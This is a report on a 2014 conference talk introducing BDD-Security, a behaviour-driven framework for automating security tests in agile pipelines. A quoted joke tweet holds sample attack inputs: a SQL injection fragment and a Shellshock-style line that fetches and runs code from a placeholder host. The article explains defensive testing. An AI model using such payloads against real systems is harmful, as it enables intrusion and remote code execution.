Stephen de Vries, ContinuumSecurity founder, promoted the idea of continuous and visible security at Velocity Europe 2014. Stephen argued that the same kind of processes and tools that embedded QA in the whole workflow of an agile development process can also be applied to security. BDD-Security is a security testing framework that follows the Given-When-Then approach and is built on top of JBehave.
Traditionally security has followed a waterfall approach, meaning that the security team is only involved late in the development process, often with the help of outside experts. Penetration testing, or pentesting, is done very late in the cycle, making it difficult and onerous to bulletproof an application. Stephen thinks that security can undergo the same changes QA did: everyone can be responsible for security; security can be moved closed to the code; security testing can be embedded in a continuous integration process.
Stephen showed two tweets, by C. Maartmann-Moe and Bill Sempf, to illustrate that QA and Security testing have differences in degree, but nor in kind.
From a QA point of view:
QA Engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 999999999 beers. Orders a lizard. Orders -1 beers. Orders a sfdeljknesv.
From a security point of view:
Pentester walks into a bar. Orders a beer. Orders “> beers. Orders ’ or 1=1 – beers. Orders () { :; }; wget -O /beers http://evil; /beers;
Integrating security testing in the agile development process requires that security requirements are: visible, so that they are actionable and update; and testable, so they can be automated and add more value than just simple scanning. Stephen finds that the BDD family of tools provide both visibility and testability so he set out to build BDD-Security.
Given that BDD-Security is built on top of JBehave, it uses Gherkin, BDD’s de facto standard specification language. A BDD-Security scenario looks like this:
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security uses an unusual philosophy when it comes to writing stories. From BDD-Security intro page:
The framework is architected so that the security stories and the application specific navigation logic are independent. This means that the same stories can be applied to multiple applications with minimal or no changes to the stories themselves.
This means that BDD-Security assumes that there is a set of security requirements that is common to many applications, meaning you just have to write code that plugs the stories to your application: the navigation logic. You can write your own stories when needed, of course.
BDD-Security relies on third-party security tools, such as OWASP ZAP or Nessus to perform the actual security-related activities e.g., app scanning.
Stephen mentioned some tools that have the same purpose. Zap-WebDriver is a simpler tool for those who do not like the BDD approach. Gauntlt is similar to BDD-Security in that it also favors BDD, but uses Ruby as its programming language. Mittn is written in Python and also uses Gherkin.